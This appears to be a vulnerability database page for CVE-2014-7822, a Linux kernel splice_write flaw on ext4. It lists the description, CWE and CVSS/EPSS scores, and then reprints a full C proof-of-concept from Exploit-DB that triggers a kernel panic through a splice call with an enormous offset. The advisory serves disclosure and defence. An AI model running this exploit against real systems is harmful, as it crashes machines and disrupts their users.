CVE-2014-7822 Detail

CVE-2014-7822

OWSAP

A01-Broken Access Control

EPSS

0.04%V3

Vector

Local

Published

2015-03-16
09h00 +00:00

Modified

2016-12-30
15h57 +00:00

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CVE Descriptions

The implementation of certain splice_write file operations in the Linux kernel before 3.16 does not enforce a restriction on the maximum size of a single file, which allows local users to cause a denial of service (system crash) or possibly have unspecified other impact via a crafted splice system call, as demonstrated by use of a file descriptor associated with an ext4 filesystem.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-264	Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	[email protected]

EPSS

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EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

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The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 36743

Publication date : 2015-04-12 22h00 +00:00
Author : Emeric Nasi
EDB Verified : No

/* ---------------------------------------------------------------------------------------------------- * cve-2014-7822_poc.c * * The implementation of certain splice_write file operations in the Linux kernel before 3.16 does not enforce a restriction on the maximum size of a single file * which allows local users to cause a denial of service (system crash) or possibly have unspecified other impact via a crafted splice system call, * as demonstrated by use of a file descriptor associated with an ext4 filesystem. * * * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic. * Works on ext4 filesystem * Tested on Ubuntu with 3.13 and 3.14 kernels * * Compile with gcc -fno-stack-protector -Wall -o cve-2014-7822_poc cve-2014-7822_poc.c * * * Emeric Nasi - www.sevagas.com *-----------------------------------------------------------------------------------------------------*/ /* ----------------------- Includes ----------------------------*/ #define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdlib.h> #include <limits.h> #define EXPLOIT_NAME "cve-2014-7822" #define EXPLOIT_TYPE DOS #define JUNK_SIZE 30000 /* ----------------------- functions ----------------------------*/ /* Useful: * +============+===============================+===============================+ | \ File flag| | | | \ | !EXT4_EXTENTS_FL | EXT4_EXTETNS_FL | |Fs Features\| | | +------------+-------------------------------+-------------------------------+ | !extent | write: 2194719883264 | write: -------------- | | | seek: 2199023251456 | seek: -------------- | +------------+-------------------------------+-------------------------------+ | extent | write: 4402345721856 | write: 17592186044415 | | | seek: 17592186044415 | seek: 17592186044415 | +------------+-------------------------------+-------------------------------+ */ /** * Poc for cve_2014_7822 vulnerability */ int main() { int pipefd[2]; int result; int in_file; int out_file; int zulHandler; loff_t viciousOffset = 0; char junk[JUNK_SIZE] ={0}; result = pipe(pipefd); // Create and clear zug.txt and zul.txt files system("cat /dev/null > zul.txt"); system("cat /dev/null > zug.txt"); // Fill zul.txt with A zulHandler = open("zul.txt", O_RDWR); memset(junk,'A',JUNK_SIZE); write(zulHandler, junk, JUNK_SIZE); close(zulHandler); //put content of zul.txt in pipe viciousOffset = 0; in_file = open("zul.txt", O_RDONLY); result = splice(in_file, 0, pipefd[1], NULL, JUNK_SIZE, SPLICE_F_MORE | SPLICE_F_MOVE); close(in_file); // Put content of pipe in zug.txt out_file = open("zug.txt", O_RDWR); viciousOffset = 118402345721856; // Create 108 tera byte file... can go up as much as false 250 peta byte ext4 file size!! printf("[cve_2014_7822]: ViciousOffset = %lu\n", (unsigned long)viciousOffset); result = splice(pipefd[0], NULL, out_file, &viciousOffset, JUNK_SIZE , SPLICE_F_MORE | SPLICE_F_MOVE); //8446744073709551615 if (result == -1) { printf("[cve_2014_7822 error]: %d - %s\n", errno, strerror(errno)); exit(1); } close(out_file); close(pipefd[0]); close(pipefd[1]); //Open zug.txt in_file = open("zug.txt", O_RDONLY); close(in_file); printf("[cve_2014_7822]: POC triggered, ... system will panic after some time\n"); return 0; }